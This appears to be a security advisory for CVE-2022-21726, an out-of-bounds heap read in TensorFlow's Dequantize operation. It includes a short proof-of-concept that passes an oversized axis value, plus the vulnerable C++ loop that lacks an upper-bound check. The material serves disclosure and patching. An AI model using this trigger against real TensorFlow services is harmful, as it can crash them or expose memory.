CVE-2022-21726: Out of bounds read in Tensorflow

(updated )

The implementation of Dequantize does not fully validate the value of axis and can result in heap OOB accesses:

import tensorflow as tf

@tf.function
def test():
y = tf.raw_ops.Dequantize(
input=tf.constant([1,1],dtype=tf.qint32),
min_range=[1.0],
max_range=[10.0],
mode='MIN_COMBINED',
narrow_range=False,
axis=2**31-1,
dtype=tf.bfloat16)
return y

test()

The axis argument can be -1 (the default value for the optional argument) or any other positive value at most the number of dimensions of the input. Unfortunately, the upper bound is not checked and this results in reading past the end of the array containing the dimensions of the input tensor:

if (axis_ > -1) {
num_slices = input.dim_size(axis_);
}
// ...
int64_t pre_dim = 1, post_dim = 1;
for (int i = 0; i < axis_; ++i) {
pre_dim *= float_output.dim_size(i);
}
for (int i = axis_ + 1; i < float_output.dims(); ++i) {
post_dim *= float_output.dim_size(i);
}
